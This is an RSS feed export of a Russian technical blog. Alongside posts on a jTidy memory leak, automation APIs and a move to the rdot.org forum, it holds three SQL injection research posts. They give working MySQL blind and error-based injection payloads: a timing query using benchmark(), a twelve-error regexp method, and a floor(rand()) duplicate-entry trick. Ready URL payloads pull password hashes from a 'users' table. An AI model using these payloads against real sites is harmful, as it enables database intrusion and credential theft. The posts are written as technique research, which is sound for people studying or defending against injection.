<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Qwazar. Технический блог.</title>
	<atom:link href="http://qwazar.ru/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://qwazar.ru</link>
	<description>Очередной блог на WordPress</description>
	<lastBuildDate>Tue, 20 Jul 2010 08:53:04 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Новый ресурс</title>
		<link>http://qwazar.ru/?p=57</link>
		<comments>http://qwazar.ru/?p=57#comments</comments>
		<pubDate>Tue, 20 Jul 2010 08:53:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Без рубрики]]></category>
		<category><![CDATA[rdot]]></category>
		<category><![CDATA[античат]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=57</guid>
		<description><![CDATA[Перебрался с античата на https://rdot.org/ . Всем рекомендую ознакомиться с ресурсом, мусора пока мало, и есть что почитать.
З.Ы.
 Для входа на форум нажмите на красный кружок в центре экрана, либо по ссылке: https://rdot.org/forum/ .
]]></description>
			<content:encoded><![CDATA[<p>Перебрался с античата на <a href="https://rdot.org/">https://rdot.org/</a> . Всем рекомендую ознакомиться с ресурсом, мусора пока мало, и есть что почитать.</p>
<p>З.Ы.<br />
 Для входа на форум нажмите на красный кружок в центре экрана, либо по ссылке: <a href="https://rdot.org/forum/">https://rdot.org/forum/</a> .</p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=57</wfw:commentRss>
		<slash:comments>108</slash:comments>
		</item>
		<item>
		<title>Утечка памяти в jTidy</title>
		<link>http://qwazar.ru/?p=50</link>
		<comments>http://qwazar.ru/?p=50#comments</comments>
		<pubDate>Sun, 16 May 2010 21:20:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[программирование]]></category>
		<category><![CDATA[garbage collector]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jtidy]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=50</guid>
		<description><![CDATA[Добиться утечки памяти в Java (равно как и .Net) конечно не так просто, как в C++, но всё же возможно. Недавно при написании нужного мне парсера наткнулся на утечку в jTidy.
Эта библиотека нужна для того, чтобы переводить невалидный HTML в валидный XHTML (который вполне соответствует стандарту XML). Дальше из полученного XHTML документа, при помощи XPath [...]]]></description>
			<content:encoded><![CDATA[<p>Добиться утечки памяти в Java (равно как и .Net) конечно не так просто, как в C++, но всё же возможно. Недавно при написании нужного мне парсера наткнулся на утечку в jTidy.</p>
<p>Эта библиотека нужна для того, чтобы переводить невалидный HTML в валидный XHTML (который вполне соответствует стандарту XML). Дальше из полученного XHTML документа, при помощи XPath получаю нужные мне элементы. Это удобнее, чем разбирать документ при помощи регекспов, хотя и накладнее по памяти.</p>
<p>В общем, столкнулся я с проблемой, приложение падает с <strong>java.lang.OutOfMemoryError</strong> примерно через 3-4 часа работы. Сходу проблему обнаружить не удалось, пришлось запускать профайлер (в моём случае YourKit). Увидел такю картину:</p>
<p><img src="http://s61.radikal.ru/i173/1005/0e/bbb347b04010.jpg" alt="Heap" /><br />
<span id="more-50"></span></p>
<p>Как видим, за 30 минут потребление памяти выросло до невероятных размеров. </p>
<p>Посмотрим кто отъедает больше всего памяти:<br />
<img src="http://s43.radikal.ru/i102/1005/fc/4dd1d2042e56.jpg" alt="jTidy memory leak" /></p>
<p>Как видим 89% памяти потребляет jTidy. Причём принудительный вызов сборщика мусора ничем не помогает, потребление памти как росло так и растёт.</p>
<p>В исходные коды мне лезть было лень, но как мне кажется наверняка библиотека при каждом вызове метода parseDom складывает ноды в какой нибудь внутренний список, а потом этот список забывает отчищать, или пересоздавать (к примеру при следующем вызове parseDom). А значит и ссылки на эти объекты существуюют вечно и их количество накапливается.</p>
<p>Первый вариант решения проблемы, который пришёл в голову &#8211; периодически перед использованием пересоздавать объект класса Tidy, который и используется для преобразования документов. (Время разботы для меня несущественно, и так перед обращениями к серверу приходится делать задержку)</p>
<p>Фиксим, во время работы приложения принудительно вызываем сборщик мусора и видим перелом на диаграмме, а значит память очищается нормально, и вечно-живущих ссылок больше не остаётся:<br />
<img src="http://s54.radikal.ru/i143/1005/96/52fc27bc6071.jpg" alt="GC" /></p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=50</wfw:commentRss>
		<slash:comments>69</slash:comments>
		</item>
		<item>
		<title>Свободу роботам!</title>
		<link>http://qwazar.ru/?p=43</link>
		<comments>http://qwazar.ru/?p=43#comments</comments>
		<pubDate>Mon, 19 Apr 2010 21:22:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[webservice]]></category>
		<category><![CDATA[заметки]]></category>
		<category><![CDATA[сео]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=43</guid>
		<description><![CDATA[Несмотря на то, что интернет активно развивается уже более десяти лет, развитие сети пока так и не перешло на новый уровень. Почти все процессы которые легко можно было автоматизировать так или иначе должны выполняться при помощи человека, к примеру:

1) Нет возможности позволить роботу тратить деньги с твоего кошелька. Для доступа к интерфейсу X2 у Webmoney [...]]]></description>
			<content:encoded><![CDATA[<p>Несмотря на то, что интернет активно развивается уже более десяти лет, развитие сети пока так и не перешло на новый уровень. Почти все процессы которые легко можно было автоматизировать так или иначе должны выполняться при помощи человека, к примеру:</p>
<p><span id="more-43"></span><br />
<strong>1)</strong> Нет возможности позволить роботу тратить деньги с твоего кошелька. Для доступа к интерфейсу <strong>X2</strong> у Webmoney требуется ввести URL, описание проекта, и три дня ждать разрешения. То есть нельзя просто так позволить моему боту покупать на мои же деньги услуги в сети. К примеру я бы хотел автоматически регистрировать доменные имена, и покупать сервера.<br />
<strong>2)</strong> Нет ни одного хостинга/регистратора предоставляющего вебсервис с открытым API, для регистрации доменов/покупки серверов, хотя технически это очень и очень легко организовать. (Как вариант &#8211; регистрируешься, кладёшь деньги на счёт, затем пока есть деньги на счету бот может регистрировать домены).<br />
<strong>3)</strong> Сеошные сервисы типа SAPE, которые всё же предоставляют API, так же предоставляют его в сильно урезанном виде, т.е. есть возможность смотреть статистику и прочую информацию, но нет возможности автоматически добавить сайт в систему, автоматически поменять цены в системе и прочее и прочее. (<strong>UPD:</strong> Дописал заметку и нашёл расширенную версию API от сапы)<br />
<strong>4)</strong> При использовании Яндекс.XML, для проверки индексации, так же нужно дополнительно фиксировать IP адрес + количество запросов к серверу ограничено. </p>
<p>В итоге для обхода подобных проблем (кроме случая с вебмани), приходится эмулировать действия пользователя и парсить полученные результаты. Но и тут всё по старому, так как за прошедшие девять лет, стандарт XHTML никто толком и не поддерживает (да и HTML у большинства такой же невалидный, как и десять лет назад).</p>
<p> В общем, боятся люди автоматизации, почём зря..</p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=43</wfw:commentRss>
		<slash:comments>76</slash:comments>
		</item>
		<item>
		<title>Blind SQL + Benchmark (Sleep)</title>
		<link>http://qwazar.ru/?p=35</link>
		<comments>http://qwazar.ru/?p=35#comments</comments>
		<pubDate>Fri, 22 Jan 2010 19:44:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SQL инъекции]]></category>
		<category><![CDATA[Blind SQL injection]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[исследования]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=35</guid>
		<description><![CDATA[Не уверен, что этот метод может быть где либо полезным, поэтому просто публикую как исследование ради исследований, может кто усовершенствует или найдёт СУБД, для которой подобное будет актуально.
Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять:

страничка:
1) страница приходит в обычном состоянии (false)
2) страница приходит изменённой (true)
ответ от [...]]]></description>
			<content:encoded><![CDATA[<p>Не уверен, что этот метод может быть где либо полезным, поэтому просто публикую как исследование ради исследований, может кто усовершенствует или найдёт СУБД, для которой подобное будет актуально.</p>
<p>Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять:</p>
<p><span id="more-35"></span><br />
страничка:<br />
1) страница приходит в обычном состоянии (false)<br />
2) страница приходит изменённой (true)<br />
ответ от сервера:<br />
1) пришёл сразу (false)<br />
2) пришёл с задержкой (true)</p>
<p>Таким образом, влияя на эти 2 параметра, можно задать 4 состояния</p>
<p>Делаем вот что:<br />
1) Берём алфавит (допустим 0123456789abcdef), и делим его на 4 группы (0123),(4567),(89ab),(cdef).<br />
2) Составляем табличку истинности:</p>
<p>№|A|B<br />
_|_|_<br />
1|0|0<br />
2|0|1<br />
3|1|0<br />
4|1|1</p>
<p>где:<br />
№ &#8211; номер группы к которой принадлежит данный символ,<br />
A &#8211; изменить ответ или нет<br />
B &#8211; включать бенчмарк или нет</p>
<p>3) Вычисляем при помощи find_in_set номер группы к которой принадлежит данный символ, кодируем его согласно таблице выше<br />
4) на клиенте получаем группу символов, в качестве алфавита уже берём только её и идём на шаг 1.</p>
<p>Т.е. для хеша md5 на каждый символ потребуется 2 запроса. (По теории вероятности бенчмарк сработает лишь на половине из них, т.е. в принципе работать должно быстро)</p>
<p>Теперь практика.</p>
<p>Запрос, к БД реализующий логику (на примере MySQL):</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> id<span style="color: #66cc66;">,</span> title<span style="color: #66cc66;">,</span> date <span style="color: #993333; font-weight: bold;">FROM</span> news <span style="color: #993333; font-weight: bold;">WHERE</span> id<span style="color: #66cc66;">=-</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">,</span>concat<span style="color: #66cc66;">&#40;</span>
 @ch:<span style="color: #66cc66;">=</span>substring<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">SELECT</span> value <span style="color: #993333; font-weight: bold;">FROM</span> test1 <span style="color: #993333; font-weight: bold;">WHERE</span> id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
 @a:<span style="color: #66cc66;">=</span>find_in_set<span style="color: #66cc66;">&#40;</span>@ch<span style="color: #66cc66;">,</span><span style="color: #ff0000;">'a,b,c,d'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
 @b:<span style="color: #66cc66;">=</span>find_in_set<span style="color: #66cc66;">&#40;</span>@ch<span style="color: #66cc66;">,</span><span style="color: #ff0000;">'e,f,1,2'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
 @c:<span style="color: #66cc66;">=</span>find_in_set<span style="color: #66cc66;">&#40;</span>@ch<span style="color: #66cc66;">,</span><span style="color: #ff0000;">'3,4,5,6'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
 @d:<span style="color: #66cc66;">=</span>find_in_set<span style="color: #66cc66;">&#40;</span>@ch<span style="color: #66cc66;">,</span><span style="color: #ff0000;">'7,8,9,0'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> 
 <span style="color: #993333; font-weight: bold;">IF</span><span style="color: #66cc66;">&#40;</span>@a<span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">,</span>
  <span style="color: #993333; font-weight: bold;">IF</span><span style="color: #66cc66;">&#40;</span>@b<span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
   <span style="color: #993333; font-weight: bold;">IF</span><span style="color: #66cc66;">&#40;</span>@c<span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span>benchmark<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1500000</span><span style="color: #66cc66;">,</span>md5<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
    <span style="color: #993333; font-weight: bold;">IF</span><span style="color: #66cc66;">&#40;</span>@d<span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">IF</span><span style="color: #66cc66;">&#40;</span>benchmark<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1500000</span><span style="color: #66cc66;">,</span>md5<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">100</span><span style="color: #66cc66;">,</span> <span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #cc66cc;">3</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,-</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
   <span style="color: #66cc66;">&#41;</span>
  <span style="color: #66cc66;">&#41;</span>
 <span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #993333; font-weight: bold;">FROM</span> test1 <span style="color: #808080; font-style: italic;">-- 1</span></pre></div></div>

<p>Думаю всё тут ясно, единственное я использовал concat чтобы весь мусор сложить в одну ячейку и SQL не жаловался на неправильное количество столбцов + в 4м случае засунул benchmark в if, чтобы ошибка появилась только после его выполнения. (Это первое что пришло в голову, может есть методы лучше)</p>
<p>Скрипт дёргающий хеш по этому алгоритму: <a href="http://www.x2b.ru/get/72207" target="_blank">скачать.</a></p>
<p>В примере алфавит задан статически, дёргается только 16 символов, а не 32, также очень высокое значение бенчмарка (для точности тестов, хотя уменьшив значения в 2 раза, вывод остался корректным) и неэлегантно написаный код. Ясно что для практического использования его нужно модифицировать + BENCHMARK заменить на SLEEP, если версия БД позволяет.</p>
<p>З.Ы.<br />
 Ну и что касается практики &#8211; метод в общем случае работает дольше чем при обычном бинарном поиске, хоть и отправляет меньше запросов. Так же очевидно то, что провоцировать ошибку совершенно не обязательно, достаточно вернуть любой другой ID.</p>
<p><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=35</wfw:commentRss>
		<slash:comments>137</slash:comments>
		</item>
		<item>
		<title>Метод двенадцати ошибок (find_in_set + more-1-row)</title>
		<link>http://qwazar.ru/?p=26</link>
		<comments>http://qwazar.ru/?p=26#comments</comments>
		<pubDate>Wed, 23 Dec 2009 21:43:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SQL инъекции]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[MySQL4]]></category>
		<category><![CDATA[MySQL5]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[боян]]></category>
		<category><![CDATA[исследования]]></category>
		<category><![CDATA[рерайт]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=26</guid>
		<description><![CDATA[Выпишу в блог все старые методы, ранее описанные на античате и в журнале &#171;Хакер&#187;. В будущем подшаманю даты постов, чтобы более старые методы оказались ниже чем более новые. 
Итак, поехали:
При работе MySQL выдаёт два типа ошибок: ошибки синтаксиса, которые можно отловить на этапе разбора строки и ошибки рантайма (времени выполнения) &#8211; те, которые можно выявить [...]]]></description>
			<content:encoded><![CDATA[<p>Выпишу в блог все старые методы, ранее описанные на античате и в журнале &laquo;Хакер&raquo;. В будущем подшаманю даты постов, чтобы более старые методы оказались ниже чем более новые. </p>
<p>Итак, поехали:</p>
<p>При работе MySQL выдаёт два типа ошибок: ошибки синтаксиса, которые можно отловить на этапе разбора строки и ошибки рантайма (времени выполнения) &#8211; те, которые можно выявить только во время выполнения запроса.</p>
<p>Типичной ошибкой синтаксиса является, к примеру ошибка:<br />
<strong>ERROR 1146 (42S02): Table &#8216;lalala&#8217; doesn&#8217;t exist</strong><br />
Наиболее известной в хакерской среде ошибкой времени выполнения является ошибка:<br />
<strong>ERROR 1242: Subquery returns more than 1 row </strong> </p>
<p><span id="more-26"></span></p>
<p>И их принципиальное отличие заключается в том, что первая ошибка появится в любом случае, если в строке запроса встретится имя несуществующей таблицы, а вторая появится только если в результате выполнения какого либо подзапросе вернётся несколько строк.</p>
<p>То есть, запрос:<br />
<strong>SELECT if(version()=4,1,(select 1 from NO_SUCH_TABLE))</strong>; &#8211; вернёт ошибку независимо от того, какая версия MySQL.<br />
А запрос:<br />
<strong>SELECT if(version()=4,1,(select 1 union select 2))</strong>;  &#8211; вернёт ошибку только в том случае, если версия БД отличается от четвёртой.</p>
<p>В своё время <strong>Elekt</strong> опубликовал статью, в которой предлагал, при эксплуатации слепой SQL инъекции, использовать бинарный поиск в сочетании с тем самым запросом <strong>(select 1 union select 2)</strong>, возвращающим ошибку <strong>Subquery returns more than 1 row</strong>. Идея замечательная, и пример её реализации описан выше.</p>
<p>И вполне очевидно, что для дальнейшего развития этого метода нужно найти ещё как можно больше ошибок времени выполнения.</p>
<p><strong>ZaCo</strong> привёл пример:<br />
<strong>&laquo;x&raquo; regexp concat(&raquo;x{1,25&#8243;, if(@@version<>5, &laquo;5}&raquo;, &laquo;6}&raquo;)) </strong><br />
Если версия MySQL не пятая, то подзапрос вернёт ошибку:<br />
<strong>#1139 &#8211; Got error &#8216;invalid repetition count(s)&#8217; from regexp.</strong><br />
иначе запрос выполнится нормально.</p>
<p>Если порыться в исходниках MySQL, то увидим что встроенный парсер regexp может вернуть ещё 9 видов ошибок, в сочетании с ошибками которые мы уже знаем, и состоянием когда ошибки нет, получаем список запросов и возвращаемых ими ошибок:</p>
<p><strong><br />
SELECT 1<br />
No error</p>
<p>select if(1=1,(select 1 union select 2),2)<br />
#1242 &#8211; Subquery returns more than 1 row</p>
<p>select 1 regexp if(1=1,&raquo;x{1,0}&raquo;,2)<br />
#1139 &#8211; Got error &#8216;invalid repetition count(s)&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&raquo;x{1,(&raquo;,2)<br />
#1139 &#8211; Got error &#8216;braces not balanced&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;[[:]]&#8217;,2)<br />
#1139 &#8211; Got error &#8216;invalid character class&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;[[',2)<br />
#1139 - Got error 'brackets ([ ]) not balanced&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;(({1}&#8217;,2)<br />
#1139 &#8211; Got error &#8216;repetition-operator operand invalid&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&raquo;,2)<br />
#1139 &#8211; Got error &#8216;empty (sub)expression&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;(',2)<br />
#1139 &#8211; Got error &#8216;parentheses not balanced&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;[2-1]&#8216;,2)<br />
#1139 &#8211; Got error &#8216;invalid character range&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;[[.ch.]]&#8217;,2)<br />
#1139 &#8211; Got error &#8216;invalid collating element&#8217; from regexp</p>
<p>select 1 regexp if(1=1,&#8217;\\&#8217;,2)<br />
#1139 &#8211; Got error &#8216;trailing backslash (\)&#8217; from regexp</strong></p>
<p>Теперь составим запрос, возвращающий различные виды ошибок в зависимости от значения символа хранящегося в базе. Например у нас в базе лежит md5 хеш пароля. </p>
<p>Распределим возможные символы md5 хеша по 12 возможным состояниям:</p>
<p><strong>[00]: &#8216;0&#8242;,&#8217;c',&#8217;d',&#8217;e',&#8217;f&#8217;<br />
[01]: &#8216;1&#8242;<br />
[02]: &#8216;2&#8242;<br />
[03]: &#8216;3&#8242;<br />
[04]: &#8216;4&#8242;<br />
[05]: &#8216;5&#8242;<br />
[06]: &#8216;6&#8242;<br />
[07]: &#8216;7&#8242;<br />
[08]: &#8216;8&#8242;<br />
[09]: &#8216;9&#8242;<br />
[10]: &#8216;a&#8217;<br />
[11]: &#8216;b&#8217;<br />
</strong></p>
<p>Теперь при помощи функции find_in_set() можно определить в какой группе символов находится интересующий нас символ из базы данных. Если символом в базе данных является символ &#8216;1&#8242;-&#8217;9&#8242;,&#8217;a',&#8217;b', то он определится по коду ошибки с первого раза, если символ в группе &#8216;0&#8242;,&#8217;c',&#8217;d',&#8217;e',&#8217;f&#8217; то потребуется послать второй запрос, чтобы определить какой конкретно символ лежит в базе.</p>
<p>Пример полного запроса для алфавита [a-z,A-Z,0-9]:</p>
<p><strong>sql.php?id=1+AND+&raquo;x&raquo;+regexp+concat(&raquo;x{1,25&#8243;,+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9&#8242;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8&#8242;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7&#8242;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6&#8242;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z&#8217;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y&#8217;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O&#8217;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E&#8217;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u&#8217;),<br />
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),&#8217;0,b,c,d,e,f,g,h,i,j,k&#8217;),(&#8217;}'),<br />
(select+1+union+select+2))),<br />
&#8216;}x{1,0}&#8217;)),<br />
&#8216;}x{1,(&#8217;)),<br />
&#8216;}[[:]]&#8217;)),<br />
&#8216;}[[')),<br />
'}(({1}')),<br />
'}(')),<br />
'}[2-1]&#8216;)),<br />
&#8216;}[[.ch.]]&#8217;)),<br />
&#8216;}\\&#8217;)))<br />
+&#8211;+1<br />
</strong></p>
<p>Затем по коду возвращаемой ошибки можно определить искомый символ в базе данных.</p>
<p>Возможно более понятные объяснения метода можно найти:<br />
1) На античате: <noindex><a href="http://forum.antichat.ru/thread119047.html" target="_blank" rel="nofollow">тынц</a></noindex>. Там же кстати есть и рабочий скрипт для описанного выше метода.<br />
2) В журнале Хакер: <noindex><a href="http://www.xakep.ru/post/49697/default.asp" target="_blank" rel="nofollow">тынц</a></noindex><br />
3) В презентации Дмитрия Евтеева: <noindex><a href="http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-pack.html" target="_blank" rel="nofollow">тынц</a></noindex>.</p>
<p><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=26</wfw:commentRss>
		<slash:comments>207</slash:comments>
		</item>
		<item>
		<title>Вывод информации в ошибке для MySQL всех версий</title>
		<link>http://qwazar.ru/?p=7</link>
		<comments>http://qwazar.ru/?p=7#comments</comments>
		<pubDate>Tue, 15 Dec 2009 20:52:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SQL инъекции]]></category>
		<category><![CDATA[Blind SQL injection]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[MySQL4]]></category>
		<category><![CDATA[MySQL5]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[исследования]]></category>
		<category><![CDATA[палю приват]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=7</guid>
		<description><![CDATA[Некоторое время назад мной была продемонстрирована методика получения значения поля в тексте выводимой ошибки, при слепой SQL инъекции. Методика была основана на использовании функции name_const(). Всё бы ничего, но смущает то, что эта функция полностью работоспособна только в MySQL версий 5.0.12-5.0.64.
Затем Дмитрием Евтеевым была продемонстрирована схожая методика основанная на использовании функции ExtractValue(), которая доступна начиная [...]]]></description>
			<content:encoded><![CDATA[<p>Некоторое время назад мной была продемонстрирована методика получения значения поля в тексте выводимой ошибки, при слепой SQL инъекции. Методика была основана на использовании функции name_const(). Всё бы ничего, но смущает то, что эта функция полностью работоспособна только в MySQL версий 5.0.12-5.0.64.</p>
<p>Затем <a href="http://devteev.blogspot.com/" target="_blank">Дмитрием Евтеевым</a> была продемонстрирована схожая методика основанная на использовании функции ExtractValue(), которая доступна начиная с MySQL 5.1.5.</p>
<p>В итоге получаем неплохое покрытие для MySQL 5й ветки. Для 4й ветки пока схожего варианта не было.</p>
<p>В связи с открытием блога, достаю из недр античата ещё один обнаруженный мной метод, который работает для MySQL всех версий начиная с 4.1 .</p>
<p><span id="more-7"></span></p>
<p>Скрипт для теста:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
 <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;root&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #990000;">mysql_select_db</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'test'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
 <span style="color: #000088;">$rz</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;select count(*),concat(version(),floor(rand()*2)) x from users group by x;&quot;</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><strong>Запускаем несколько раз</strong> (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:<br />
<strong>Duplicate entry &#8216;5.0.45-community-nt1&#8242; for key 1</strong><br />
<strong>Duplicate entry &#8216;5.0.45-community-nt0&#8242; for key 1</strong> </p>
<p>Пример использования в скуле:</p>
<pre>http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x</pre>
<p><strong>Результат</strong>: Duplicate entry &#8216;<strong>1bc29b36f623ba82aaf6724fd3b16718</strong>:1&#8242; for key 1</p>
<p>Вариант запуска без подбора колонок (Можно использовать только &lt;,&gt; и !=, символ = не прокатит):</p>
